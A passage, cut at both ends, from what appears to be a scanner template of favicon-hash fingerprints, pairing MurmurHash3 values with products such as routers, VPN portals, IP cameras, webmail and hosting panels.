mmh3(base64_py(body)))" - - type: dsl - name: "huawei-adsl/router" - dsl: - - "status_code==200 && (\"-1395400951\" == mmh3(base64_py(body)))" - - type: dsl - name: "sophos-cyberoam-appliance" - dsl: - - "status_code==200 && (\"1601194732\" == mmh3(base64_py(body)))" - - type: dsl - name: "lancom-systems" - dsl: - - "status_code==200 && (\"-325082670\" == mmh3(base64_py(body)))" - - type: dsl - name: "plesk" - dsl: - - "status_code==200 && (\"-1050786453\" == mmh3(base64_py(body)))" - - type: dsl - name: "tilginab-homegateway" - dsl: - - "status_code==200 && (\"-1346447358\" == mmh3(base64_py(body)))" - - type: dsl - name: "supermicro-intelligent-management-ipmi" - dsl: - - "status_code==200 && (\"1410610129\" == mmh3(base64_py(body)))" - - type: dsl - name: "zyxel-zywall" - dsl: - - "status_code==200 && (\"-440644339\" == mmh3(base64_py(body)))" - - type: dsl - name: "dell-sonicwall" - dsl: - - "status_code==200 && (\"363324987\" == mmh3(base64_py(body)))" - - type: dsl - name: "ubiquiti-login-portals" - dsl: - - "status_code==200 && (\"-1446794564\" == mmh3(base64_py(body)))" - - type: dsl - name: "sophos-user-portal/vpn-portal" - dsl: - - "status_code==200 && (\"1045696447\" == mmh3(base64_py(body)))" - - type: dsl - name: "apache-tomcat" - dsl: - - "status_code==200 && (\"-297069493\" == mmh3(base64_py(body)))" - - type: dsl - name: "openvpn" - dsl: - - "status_code==200 && (\"396533629\" == mmh3(base64_py(body)))" - - type: dsl - name: "cyberoam" - dsl: - - "status_code==200 && (\"1462981117\" == mmh3(base64_py(body)))" - - type: dsl - name: "asp.net-favicon" - dsl: - - "status_code==200 && (\"1772087922\" == mmh3(base64_py(body)))" - - type: dsl - name: "technicolor" - dsl: - - "status_code==200 && (\"1594377337\" == mmh3(base64_py(body)))" - - type: dsl - name: "vodafone-technicolor" - dsl: - - "status_code==200 && (\"165976831\" == mmh3(base64_py(body)))" - - type: dsl - name: "ubnt-router-ui" - dsl: - - "status_code==200 && (\"-1677255344\" == mmh3(base64_py(body)))" - - type: dsl - name: "intelbras-wireless" - dsl: - - "status_code==200 && (\"-359621743\" == mmh3(base64_py(body)))" - - type: dsl - name: "kerio-connect-webmail" - dsl: - - "status_code==200 && (\"-677167908\" == mmh3(base64_py(body)))" - - type: dsl - name: "big-ip" - dsl: - - "status_code==200 && (\"878647854\" == mmh3(base64_py(body)))" - - type: dsl - name: "microsoft-owa" - dsl: - - "status_code==200 && (\"442749392\" == mmh3(base64_py(body)))" - - type: dsl - name: "pfsense" - dsl: - - "status_code==200 && (\"1405460984\" == mmh3(base64_py(body)))" - - type: dsl - name: "ikuai-networks" - dsl: - - "status_code==200 && (\"-271448102\" == mmh3(base64_py(body)))" - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"31972968\" == mmh3(base64_py(body)))" - - type: dsl - name: "3cx-phone-system" - dsl: - - "status_code==200 && (\"970132176\" == mmh3(base64_py(body)))" - - type: dsl - name: "bluehost" - dsl: - - "status_code==200 && (\"-1119613926\" == mmh3(base64_py(body)))" - - type: dsl - name: "sangfor" - dsl: - - "status_code==200 && (\"123821839\" == mmh3(base64_py(body)))" - - type: dsl - name: "zte-corporation-gateway/appliance" - dsl: - - "status_code==200 && (\"459900502\" == mmh3(base64_py(body)))" - - type: dsl - name: "ruckus-wireless" - dsl: - - "status_code==200 && (\"-2069844696\" == mmh3(base64_py(body)))" - - type: dsl - name: "bitnami" - dsl: - - "status_code==200 && (\"-1607644090\" == mmh3(base64_py(body)))" - - type: dsl - name: "juniper-device-manager" - dsl: - - "status_code==200 && (\"2141724739\" == mmh3(base64_py(body)))" - - type: dsl - name: "technicolor-gateway" - dsl: - - "status_code==200 && (\"1835479497\" == mmh3(base64_py(body)))" - - type: dsl - name: "gitlab" - dsl: - - "status_code==200 && (\"1278323681\" == mmh3(base64_py(body)))" - - type: dsl - name: "netasq---secure-/-stormshield" - dsl: - - "status_code==200 && (\"-1929912510\" == mmh3(base64_py(body)))" - - type: dsl - name: "vmware-horizon" - dsl: - - "status_code==200 && (\"-1255992602\" == mmh3(base64_py(body)))" - - type: dsl - name: "vmware-horizon" - dsl: - - "status_code==200 && (\"1895360511\" == mmh3(base64_py(body)))" - - type: dsl - name: "vmware-horizon" - dsl: - - "status_code==200 && (\"-991123252\" == mmh3(base64_py(body)))" - - type: dsl - name: "vmware-secure-file-transfer" - dsl: - - "status_code==200 && (\"1642701741\" == mmh3(base64_py(body)))" - - type: dsl - name: "sap-netweaver" - dsl: - - "status_code==200 && (\"-266008933\" == mmh3(base64_py(body)))" - - type: dsl - name: "sap-id-service" - dsl: - - "status_code==200 && (\"-1967743928\" == mmh3(base64_py(body)))" - - type: dsl - name: "sap-conversational-ai" - dsl: - - "status_code==200 && (\"1347937389\" == mmh3(base64_py(body)))" - - type: dsl - name: "palo-alto-login-portal" - dsl: - - "status_code==200 && (\"602431586\" == mmh3(base64_py(body)))" - - type: dsl - name: "palo-alto-networks" - dsl: - - "status_code==200 && (\"-318947884\" == mmh3(base64_py(body)))" - - type: dsl - name: "outlook-web-application" - dsl: - - "status_code==200 && (\"1356662359\" == mmh3(base64_py(body)))" - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"1453890729\" == mmh3(base64_py(body)))" - - type: dsl - name: "docker" - dsl: - - "status_code==200 && (\"-1814887000\" == mmh3(base64_py(body)))" - - type: dsl - name: "docker" - dsl: - - "status_code==200 && (\"1937209448\" == mmh3(base64_py(body)))" - - type: dsl - name: "amazon" - dsl: - - "status_code==200 && (\"-1544605732\" == mmh3(base64_py(body)))" - - type: dsl - name: "amazon" - dsl: - - "status_code==200 && (\"716989053\" == mmh3(base64_py(body)))" - - type: dsl - name: "phpmyadmin" - dsl: - - "status_code==200 && (\"-1010568750\" == mmh3(base64_py(body)))" - - type: dsl - name: "zhejiang-uniview-technologies-co." - dsl: - - "status_code==200 && (\"-1240222446\" == mmh3(base64_py(body)))" - - type: dsl - name: "isp-manager" - dsl: - - "status_code==200 && (\"-986678507\" == mmh3(base64_py(body)))" - - type: dsl - name: "axis-network-cameras" - dsl: - - "status_code==200 && (\"-1616143106\" == mmh3(base64_py(body)))" - - type: dsl - name: "roundcube-webmail" - dsl: - - "status_code==200 && (\"-976235259\" == mmh3(base64_py(body)))" - - type: dsl - name: "unifi-video-controller-airvision" - dsl: - - "status_code==200 && (\"768816037\" == mmh3(base64_py(body)))" - - type: dsl - name: "pfsense" - dsl: - - "status_code==200 && (\"1015545776\" == mmh3(base64_py(body)))" - - type: dsl - name: "freebox-os" - dsl: - - "status_code==200 && (\"1838417872\" == mmh3(base64_py(body)))" - - type: dsl - name: "hxxps" - dsl: - - "status_code==200 && (\"1188645141\" == mmh3(base64_py(body)))" - - type: dsl - name: "keenetic" - dsl: - - "status_code==200 && (\"547282364\" == mmh3(base64_py(body)))" - - type: dsl - name: "sierra-wireless-ace-manager-airlink" - dsl: - - "status_code==200 && (\"-1571472432\" == mmh3(base64_py(body)))" - - type: dsl - name: "synology-diskstation" - dsl: - - "status_code==200 && (\"149371702\" == mmh3(base64_py(body)))" - - type: dsl - name: "instar-ip-cameras" - dsl: - - "status_code==200 && (\"-1169314298\" == mmh3(base64_py(body)))" - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"-1038557304\" == mmh3(base64_py(body)))" - - type: dsl - name: "octoprint-3d-printer" - dsl: - - "status_code==200 && (\"1307375944\" == mmh3(base64_py(body)))" - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"1280907310\" == mmh3(base64_py(body)))" - - type: dsl - name: "vesta-hosting-control-panel" - dsl: - - "status_code==200 && (\"1954835352\" == mmh3(base64_py(body)))" - - type: dsl - name: "farming-simulator-dedicated-server" - dsl: - - "status_code==200 && (\"509789953\" == mmh3(base64_py(body)))" - - type: dsl - name: "residential-gateway" - dsl: - - "status_code==200 && (\"-1933493443\" == mmh3(base64_py(body)))" - - type: dsl - name: "cpanel-login" - dsl: - - "status_code==200 && (\"1993518473\" == mmh3(base64_py(body)))" - - type: dsl - name: "arris" - dsl: - - "status_code==200 && (\"-1477563858\" == mmh3(base64_py(body)))" - - type: dsl - name: "plex-server" - dsl: - - "status_code==200 && (\"-895890586\" == mmh3(base64_py(body)))" - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"-1354933624\" == mmh3(base64_py(body)))" - - type: dsl - name: "deluge" - dsl: - - "status_code==200 && (\"944969688\" == mmh3(base64_py(body)))" - - type: dsl - name: "webmin" - dsl: - - "status_code==200 && (\"479413330\" == mmh3(base64_py(body)))" - - type: dsl - name: "cambium-networks" - dsl: - - "status_code==200 && (\"-435817905\" == mmh3(base64_py(body)))" - - type: dsl - name: "plesk" - dsl: - - "status_code==200 && (\"-981606721\" == mmh3(base64_py(body)))" - - type: dsl - name: "dahua-storm-ip-camera" - dsl: - - "status_code==200 && (\"833190513\" == mmh3(base64_py(body)))" - - type: dsl - name: "10" - dsl: - - "status_code==200 && (\"-1314864135\" == mmh3(base64_py(body)))" - - type: dsl - name: "parallels-plesk-panel" - dsl: - - "status_code==200 && (\"-652508439\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireware-watchguard" - dsl: - - "status_code==200 && (\"-569941107\" == mmh3(base64_py(body)))" - - type: dsl - name: "shock&innovation!!-netis-setup" - dsl: - - "status_code==200 && (\"1326164945\" == mmh3(base64_py(body)))" - - type: dsl - name: "cacaoweb" - dsl: - - "status_code==200 && (\"-1738184811\" == mmh3(base64_py(body)))" - - type: dsl - name: "loxone-automation" - dsl: - - "status_code==200 && (\"904434662\" == mmh3(base64_py(body)))" - - type: dsl - name: "hp-printer/server" - dsl: - - "status_code==200 && (\"905744673\" == mmh3(base64_py(body)))" - - type: dsl - name: "netflix" - dsl: - - "status_code==200 && (\"902521196\" == mmh3(base64_py(body)))" - - type: dsl - name: "linksys-smart-wi-fi" - dsl: - - "status_code==200 && (\"-2063036701\" == mmh3(base64_py(body)))" - - type: dsl - name: "lwip-a-lightweight-tcp/ip-stack" - dsl: - - "status_code==200 && (\"-1205024243\" == mmh3(base64_py(body)))" - - type: dsl - name: "hitron-technologies" - dsl: - - "status_code==200 && (\"607846949\" == mmh3(base64_py(body)))" - - type: dsl - name: "dahua-storm-dvr" - dsl: - - "status_code==200 && (\"1281253102\" == mmh3(base64_py(body)))" - - type: dsl - name: "mobotix-camera" - dsl: - - "status_code==200 && (\"661332347\" == mmh3(base64_py(body)))" - - type: dsl - name: "blue-iris-webcam" - dsl: - - "status_code==200 && (\"-520888198\" == mmh3(base64_py(body)))" - - type: dsl - name: "vigor-router" - dsl: - - "status_code==200 && (\"104189364\" == mmh3(base64_py(body)))" - - type: dsl - name: "alibaba-cloud-block-page" - dsl: - - "status_code==200 && (\"1227052603\" == mmh3(base64_py(body)))" - - type: dsl - name: "dd-wrt-dd-wrt-milli_httpd" - dsl: - - "status_code==200 && (\"252728887\" == mmh3(base64_py(body)))" - - type: dsl - name: "mitel-networks-micollab-end-user-portal" - dsl: - - "status_code==200 && (\"-1922044295\" == mmh3(base64_py(body)))" - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"1221759509\" == mmh3(base64_py(body)))" - - type: dsl - name: "dlink-router" - dsl: - - "status_code==200 && (\"1037387972\" == mmh3(base64_py(body)))" - - type: dsl - name: "prtg-network-monitor" - dsl: - - "status_code==200 && (\"-655683626\" == mmh3(base64_py(body)))" - - type: dsl - name: "elastic-database" - dsl: - - "status_code==200 && (\"1611729805\" == mmh3(base64_py(body)))" - - type: dsl - name: "dlink-webcam" - dsl: - - "status_code==200 && (\"1144925962\" == mmh3(base64_py(body)))" - - type: dsl - name: "wildfly" - dsl: - - "status_code==200 && (\"-1666561833\" == mmh3(base64_py(body)))" - - type: dsl - name: "cisco-meraki-dashboard" - dsl: - - "status_code==200 && (\"804949239\" == mmh3(base64_py(body)))" - - type: dsl - name: "workday" - dsl: - - "status_code==200 && (\"-459291760\" == mmh3(base64_py(body)))" - - type: dsl - name: "justhost" - dsl: - - "status_code==200 && (\"1734609466\" == mmh3(base64_py(body)))" - - type: dsl - name: "baidu-ip-error-page" - dsl: - - "status_code==200 && (\"-1507567067\" == mmh3(base64_py(body)))" - - type: dsl - name: "intelbras-sa" - dsl: - - "status_code==200 && (\"2006716043\" == mmh3(base64_py(body)))" - - type: dsl - name: "yii-php-framework-default-favicon" - dsl: - - "status_code==200 && (\"-1298108480\" == mmh3(base64_py(body)))" - - type: dsl - name: "truvision-nvr-interlogix" - dsl: - - "status_code==200 && (\"1782271534\" == mmh3(base64_py(body)))" - - type: dsl - name: "redmine" - dsl: - - "status_code==200 && (\"603314\" == mmh3(base64_py(body)))" - - type: dsl - name: "phpmyadmin" - dsl: - - "status_code==200 && (\"-476231906\" == mmh3(base64_py(body)))" - - type: dsl - name: "cisco-eg" - dsl: - - "status_code==200 && (\"-646322113\" == mmh3(base64_py(body)))" - - type: dsl - name: "jetty-404" - dsl: - - "status_code==200 && (\"-629047854\" == mmh3(base64_py(body)))" - - type: dsl - name: "luma-surveillance" - dsl: - - "status_code==200 && (\"-1351901211\" == mmh3(base64_py(body)))" - - type: dsl - name: "parallels-plesk-panel" - dsl: - - "status_code==200 && (\"-519765377\" == mmh3(base64_py(body)))" - - type: dsl - name: "hp-printer-/-server" - dsl: - - "status_code==200 && (\"-2144363468\" == mmh3(base64_py(body)))" - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"-127886975\" == mmh3(base64_py(body)))" - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"1139788073\" == mmh3(base64_py(body)))" - - type: dsl - name: "metasploit" - dsl: - - "status_code==200 && (\"-1235192469\" == mmh3(base64_py(body)))" - - type: dsl - name: "alibi-nvr" - dsl: - - "status_code==200 && (\"1876585825\" == mmh3(base64_py(body)))" - - type: dsl - name: "sangfor" - dsl: - - "status_code==200 && (\"-1810847295\" == mmh3(base64_py(body)))" - - type: dsl - name: "websockets-test-page-eg" - dsl: - - "status_code==200 && (\"-291579889\" == mmh3(base64_py(body)))" - - type: dsl - name: "macos-server-apple" - dsl: - - "status_code==200 && (\"1629518721\" == mmh3(base64_py(body)))" - - type: dsl - name: "openrg" - dsl: - - "status_code==200 && (\"-986816620\" == mmh3(base64_py(body)))" - - type: dsl - name: "cisco-router" - dsl: - - "status_code==200 && (\"-299287097\" == mmh3(base64_py(body)))" - - type: dsl - name: "sangfor" - dsl: - - "status_code==200 && (\"-1926484046\" == mmh3(base64_py(body)))" - - type: dsl - name: "herospeed-digital-technology-co.-nvr/ipc/xvr" - dsl: - - "status_code==200 && (\"-873627015\" == mmh3(base64_py(body)))" - - type: dsl - name: "nomadix-access-gateway" - dsl: - - "status_code==200 && (\"2071993228\" == mmh3(base64_py(body)))" - - type: dsl - name: "gitlab" - dsl: - - "status_code==200 && (\"516963061\" == mmh3(base64_py(body)))" - - type: dsl - name: "magento" - dsl: - - "status_code==200 && (\"-38580010\" == mmh3(base64_py(body)))" - - type: dsl - name: "mk-auth" - dsl: - - "status_code==200 && (\"1490343308\" == mmh3(base64_py(body)))" - - type: dsl - name: "shoutcast-server" - dsl: - - "status_code==200 && (\"-632583950\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"95271369\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"1476335317\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"-842192932\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"105083909\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"240606739\" == mmh3(base64_py(body)))" - - type: dsl - name: "fireeye" - dsl: - - "status_code==200 && (\"2121539357\" == mmh3(base64_py(body)))" - - type: dsl - name: "adobe-campaign-classic" - dsl: - - "status_code==200 && (\"-333791179\" == mmh3(base64_py(body)))" - - type: dsl - name: "xampp" - dsl: - - "status_code==200 && (\"-1437701105\" == mmh3(base64_py(body)))" - - type: dsl - name: "niagara-web-server" - dsl: - - "status_code==200 && (\"-676077969\" == mmh3(base64_py(body)))" - - type: dsl - name: "technicolor" - dsl: - - "status_code==200 && (\"-2138771289\" == mmh3(base64_py(body)))" - - type: dsl - name: "hitron-technologies-inc." - dsl: - - "status_code==200 && (\"711742418\" == mmh3(base64_py(body)))" - - type: dsl - name: "ibm-notes" - dsl: - - "status_code==200 && (\"728788645\" == mmh3(base64_py(body)))" - - type: dsl - name: "barracuda" - dsl: - - "status_code==200 && (\"1436966696\" == mmh3(base64_py(body)))" - - type: dsl - name: "servicenow" - dsl: - - "status_code==200 && (\"86919334\" == mmh3(base64_py(body)))" - - type: dsl - name: "openfire-admin-console" - dsl: - - "status_code==200 && (\"1211608009\" == mmh3(base64_py(body)))" - - type: dsl - name: "hp-ilo" - dsl: - - "status_code==200 && (\"2059618623\" == mmh3(base64_py(body)))" - - type: dsl - name: "sunny-webbox" - dsl: - - "status_code==200 && (\"1975413433\" == mmh3(base64_py(body)))" - - type: dsl - name: "zyxel" - dsl: - - "status_code==200 && (\"943925975\" == mmh3(base64_py(body)))" - - type: dsl - name: "huawei" - dsl: - - "status_code==200 && (\"281559989\" == mmh3(base64_py(body)))" - - type: dsl - name: "tenda-web-master" - dsl: - - "status_code==200 && (\"-2145085239\" == mmh3(base64_py(body)))" - - type: dsl - name: "prometheus-time-series-collection-and-processing-server" - dsl: - - "status_code==200 && (\"-1399433489\" == mmh3(base64_py(body)))" - - type: dsl - name: "wdcp-cloud-host-management-system" - dsl: - - "status_code==200 && (\"1786752597\" == mmh3(base64_py(body)))" - - type: dsl - name: "domoticz-home-automation" - dsl: - - "status_code==200 && (\"90680708\" == mmh3(base64_py(body)))" - - type: dsl - name: "tableau" - dsl: - - "status_code==200 && (\"-1441956789\" == mmh3(base64_py(body)))" - - type: dsl - name: "openwrt-luci" - dsl: - - "status_code==200 && (\"-675839242\" == mmh3(base64_py(body)))" - - type: dsl - name: "ubiquiti-airos" - dsl: - - "status_code==200 && (\"1020814938\" == mmh3(base64_py(body)))" - - type: dsl - name: "mdaemon-webmail" - dsl: - - "status_code==200 && (\"-766957661\" == mmh3(base64_py(body)))" - - type: dsl - name: "teltonika" - dsl: - - "status_code==200 && (\"119741608\" == mmh3(base64_py(body)))" - - type: dsl - name: "entrolink" - dsl: - - "status_code==200 && (\"1973665246\" == mmh3(base64_py(body)))" - - type: dsl - name: "windriver-webserver" - dsl: - - "status_code==200 && (\"74935566\" == mmh3(base64_py(body)))" - - type: dsl - name: "microhard-systems" - dsl: - - "status_code==200 && (\"-1723752240\" == mmh3(base64_py(body)))" - - type: dsl - name: "skype" - dsl: - - "status_code==200 && (\"-1807411396\" == mmh3(base64_py(body)))" - - type: dsl - name: "teltonika" - dsl: - - "status_code==200 && (\"-1612496354\" == mmh3(base64_py(body)))" - - type: dsl - name: "eltex-router" - dsl: - - "status_code==200 && (\"1877797890\" == mmh3(base64_py(body)))" - - type: dsl - name: "bintec-elmeg" - dsl: - - "status_code==200 && (\"-375623619\" == mmh3(base64_py(body)))" - - type: dsl - name: "syncthru-web-service-printers" - dsl: - - "status_code==200 && (\"1483097076\" == mmh3(base64_py(body)))" - - type: dsl - name: "boaserver" - dsl: - - "status_code==200 && (\"1169183049\" == mmh3(base64_py(body)))" - - type: dsl - name: "securepoint" - dsl: - - "status_code==200 && (\"1051648103\" == mmh3(base64_py(body)))" - - type: dsl - name: "moodle" - dsl: - - "status_code==200 && (\"-438482901\" == mmh3(base64_py(body)))" - - type: dsl - name: "radix" - dsl: - - "status_code==200 && (\"-1492966240\" == mmh3(base64_py(body)))" - - type: dsl - name: "cradlepoint-technology-router" - dsl: - - "status_code==200 && (\"1466912879\" == mmh3(base64_py(body)))" - - type: dsl - name: "drupal" - dsl: - - "status_code==200 && (\"-167656799\" == mmh3(base64_py(body)))" - - type: dsl - name: "blackboard" - dsl: - - "status_code==200 && (\"-1593651747\" == mmh3(base64_py(body)))" - - type: dsl - name: "jupyter-notebook" - dsl: - - "status_code==200 && (\"-895963602\" == mmh3(base64_py(body)))" - - type: dsl - name: "hostmonster---web-hosting" - dsl: - - "status_code==200 && (\"-972810761\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-router/network" - dsl: - - "status_code==200 && (\"1703788174\" == mmh3(base64_py(body)))" - - type: dsl - name: "rocket-chat" - dsl: - - "status_code==200 && (\"225632504\" == mmh3(base64_py(body)))" - - type: dsl - name: "mofinetwork" - dsl: - - "status_code==200 && (\"-1702393021\" == mmh3(base64_py(body)))" - - type: dsl - name: "zabbix" - dsl: - - "status_code==200 && (\"892542951\" == mmh3(base64_py(body)))" - - type: dsl - name: "totolink-network" - dsl: - - "status_code==200 && (\"547474373\" == mmh3(base64_py(body)))" - - type: dsl - name: "ossia-provision-sr-|-webcam/ip-camera" - dsl: - - "status_code==200 && (\"-374235895\" == mmh3(base64_py(body)))" - - type: dsl - name: "cpanel-login" - dsl: - - "status_code==200 && (\"1544230796\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-router/network" - dsl: - - "status_code==200 && (\"517158172\" == mmh3(base64_py(body)))" - - type: dsl - name: "jeedom-home-automation" - dsl: - - "status_code==200 && (\"462223993\" == mmh3(base64_py(body)))" - - type: dsl - name: "jboss-application-server-7" - dsl: - - "status_code==200 && (\"937999361\" == mmh3(base64_py(body)))" - - type: dsl - name: "niagara-web-server-/-tridium" - dsl: - - "status_code==200 && (\"1991562061\" == mmh3(base64_py(body)))" - - type: dsl - name: "solarwinds-serv-u-ftp-server" - dsl: - - "status_code==200 && (\"812385209\" == mmh3(base64_py(body)))" - - type: dsl - name: "aruba-virtual-controller" - dsl: - - "status_code==200 && (\"1142227528\" == mmh3(base64_py(body)))" - - type: dsl - name: "dell" - dsl: - - "status_code==200 && (\"-1153950306\" == mmh3(base64_py(body)))" - - type: dsl - name: "remobjects-sdk-/-remoting-sdk-for-.net-http-server-microsoft" - dsl: - - "status_code==200 && (\"72005642\" == mmh3(base64_py(body)))" - - type: dsl - name: "zyxel-zywall" - dsl: - - "status_code==200 && (\"-484708885\" == mmh3(base64_py(body)))" - - type: dsl - name: "visualsvn-server" - dsl: - - "status_code==200 && (\"706602230\" == mmh3(base64_py(body)))" - - type: dsl - name: "jboss" - dsl: - - "status_code==200 && (\"-656811182\" == mmh3(base64_py(body)))" - - type: dsl - name: "starface-voip-software" - dsl: - - "status_code==200 && (\"-332324409\" == mmh3(base64_py(body)))" - - type: dsl - name: "netis-network-devices" - dsl: - - "status_code==200 && (\"-594256627\" == mmh3(base64_py(body)))" - - type: dsl - name: "whm" - dsl: - - "status_code==200 && (\"-649378830\" == mmh3(base64_py(body)))" - - type: dsl - name: "tandberg" - dsl: - - "status_code==200 && (\"97604680\" == mmh3(base64_py(body)))" - - type: dsl - name: "ghost-cms" - dsl: - - "status_code==200 && (\"-1015932800\" == mmh3(base64_py(body)))" - - type: dsl - name: "avtech-ip-surveillance-camera" - dsl: - - "status_code==200 && (\"-194439630\" == mmh3(base64_py(body)))" - - type: dsl - name: "liferay-portal" - dsl: - - "status_code==200 && (\"129457226\" == mmh3(base64_py(body)))" - - type: dsl - name: "parallels-plesk-panel" - dsl: - - "status_code==200 && (\"-771764544\" == mmh3(base64_py(body)))" - - type: dsl - name: "odoo" - dsl: - - "status_code==200 && (\"-617743584\" == mmh3(base64_py(body)))" - - type: dsl - name: "polycom" - dsl: - - "status_code==200 && (\"77044418\" == mmh3(base64_py(body)))" - - type: dsl - name: "cake-php" - dsl: - - "status_code==200 && (\"980692677\" == mmh3(base64_py(body)))" - - type: dsl - name: "exacq" - dsl: - - "status_code==200 && (\"476213314\" == mmh3(base64_py(body)))" - - type: dsl - name: "checkpoint" - dsl: - - "status_code==200 && (\"794809961\" == mmh3(base64_py(body)))" - - type: dsl - name: "ubiquiti-unms" - dsl: - - "status_code==200 && (\"1157789622\" == mmh3(base64_py(body)))" - - type: dsl - name: "cpanel-login" - dsl: - - "status_code==200 && (\"1244636413\" == mmh3(base64_py(body)))" - - type: dsl - name: "worldclient-for-mdaemon" - dsl: - - "status_code==200 && (\"1985721423\" == mmh3(base64_py(body)))" - - type: dsl - name: "netport-software-dsl" - dsl: - - "status_code==200 && (\"-1124868062\" == mmh3(base64_py(body)))" - - type: dsl - name: "f5-big-ip" - dsl: - - "status_code==200 && (\"-335242539\" == mmh3(base64_py(body)))" - - type: dsl - name: "mailcow" - dsl: - - "status_code==200 && (\"2146763496\" == mmh3(base64_py(body)))" - - type: dsl - name: "qnap-nas-virtualization-station" - dsl: - - "status_code==200 && (\"-1041180225\" == mmh3(base64_py(body)))" - - type: dsl - name: "netgear" - dsl: - - "status_code==200 && (\"-1319025408\" == mmh3(base64_py(body)))" - - type: dsl - name: "gogs" - dsl: - - "status_code==200 && (\"917966895\" == mmh3(base64_py(body)))" - - type: dsl - name: "trendnet-ip-camera" - dsl: - - "status_code==200 && (\"512590457\" == mmh3(base64_py(body)))" - - type: dsl - name: "asustor" - dsl: - - "status_code==200 && (\"1678170702\" == mmh3(base64_py(body)))" - - type: dsl - name: "dahua" - dsl: - - "status_code==200 && (\"-1466785234\" == mmh3(base64_py(body)))" - - type: dsl - name: "discuz!" - dsl: - - "status_code==200 && (\"-505448917\" == mmh3(base64_py(body)))" - - type: dsl - name: "wdcp-cloud-host-management-system" - dsl: - - "status_code==200 && (\"255892555\" == mmh3(base64_py(body)))" - - type: dsl - name: "joomla" - dsl: - - "status_code==200 && (\"1627330242\" == mmh3(base64_py(body)))" - - type: dsl - name: "smartermail" - dsl: - - "status_code==200 && (\"-1935525788\" == mmh3(base64_py(body)))" - - type: dsl - name: "seafile" - dsl: - - "status_code==200 && (\"-12700016\" == mmh3(base64_py(body)))" - - type: dsl - name: "bintec-elmeg" - dsl: - - "status_code==200 && (\"1770799630\" == mmh3(base64_py(body)))" - - type: dsl - name: "netgear-readynas" - dsl: - - "status_code==200 && (\"-137295400\" == mmh3(base64_py(body)))" - - type: dsl - name: "ipecs" - dsl: - - "status_code==200 && (\"-195508437\" == mmh3(base64_py(body)))" - - type: dsl - name: "bet365" - dsl: - - "status_code==200 && (\"-2116540786\" == mmh3(base64_py(body)))" - - type: dsl - name: "reolink" - dsl: - - "status_code==200 && (\"-38705358\" == mmh3(base64_py(body)))" - - type: dsl - name: "idera" - dsl: - - "status_code==200 && (\"-450254253\" == mmh3(base64_py(body)))" - - type: dsl - name: "proofpoint" - dsl: - - "status_code==200 && (\"-1630354993\" == mmh3(base64_py(body)))" - - type: dsl - name: "kerio-connect-webmail" - dsl: - - "status_code==200 && (\"-1678298769\" == mmh3(base64_py(body)))" - - type: dsl - name: "worldclient-for-mdaemon" - dsl: - - "status_code==200 && (\"-35107086\" == mmh3(base64_py(body)))" - - type: dsl - name: "realtek" - dsl: - - "status_code==200 && (\"2055322029\" == mmh3(base64_py(body)))" - - type: dsl - name: "ruijie-networks-login" - dsl: - - "status_code==200 && (\"-692947551\" == mmh3(base64_py(body)))" - - type: dsl - name: "askey-cable-modem" - dsl: - - "status_code==200 && (\"-1710631084\" == mmh3(base64_py(body)))" - - type: dsl - name: "askey-cable-modem" - dsl: - - "status_code==200 && (\"89321398\" == mmh3(base64_py(body)))" - - type: dsl - name: "jaws-web-server-ip-camera" - dsl: - - "status_code==200 && (\"90066852\" == mmh3(base64_py(body)))" - - type: dsl - name: "jaws-web-server-ip-camera" - dsl: - - "status_code==200 && (\"768231242\" == mmh3(base64_py(body)))" - - type: dsl - name: "homegrown-website-hosting" - dsl: - - "status_code==200 && (\"-421986013\" == mmh3(base64_py(body)))" - - type: dsl - name: "technicolor-/-thomson-speedtouch-network-/-adsl" - dsl: - - "status_code==200 && (\"156312019\" == mmh3(base64_py(body)))" - - type: dsl - name: "dvr-korean" - dsl: - - "status_code==200 && (\"-560297467\" == mmh3(base64_py(body)))" - - type: dsl - name: "joomla" - dsl: - - "status_code==200 && (\"-1950415971\" == mmh3(base64_py(body)))" - - type: dsl - name: "tp-link-network-device" - dsl: - - "status_code==200 && (\"1842351293\" == mmh3(base64_py(body)))" - - type: dsl - name: "salesforce" - dsl: - - "status_code==200 && (\"1433417005\" == mmh3(base64_py(body)))" - - type: dsl - name: "apache-haus" - dsl: - - "status_code==200 && (\"-632070065\" == mmh3(base64_py(body)))" - - type: dsl - name: "untangle" - dsl: - - "status_code==200 && (\"1103599349\" == mmh3(base64_py(body)))" - - type: dsl - name: "shenzhen-coship-electronics-co." - dsl: - - "status_code==200 && (\"224536051\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-router/network" - dsl: - - "status_code==200 && (\"1038500535\" == mmh3(base64_py(body)))" - - type: dsl - name: "d-link-camera" - dsl: - - "status_code==200 && (\"-355305208\" == mmh3(base64_py(body)))" - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"-267431135\" == mmh3(base64_py(body)))" - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"-759754862\" == mmh3(base64_py(body)))" - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"-1200737715\" == mmh3(base64_py(body)))" - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"75230260\" == mmh3(base64_py(body)))" - - type: dsl - name: "kibana" - dsl: - - "status_code==200 && (\"1668183286\" == mmh3(base64_py(body)))" - - type: dsl - name: "intelbras-sa" - dsl: - - "status_code==200 && (\"283740897\" == mmh3(base64_py(body)))" - - type: dsl - name: "icecast-streaming-media-server" - dsl: - - "status_code==200 && (\"1424295654\" == mmh3(base64_py(body)))" - - type: dsl - name: "nec-webpro" - dsl: - - "status_code==200 && (\"1922032523\" == 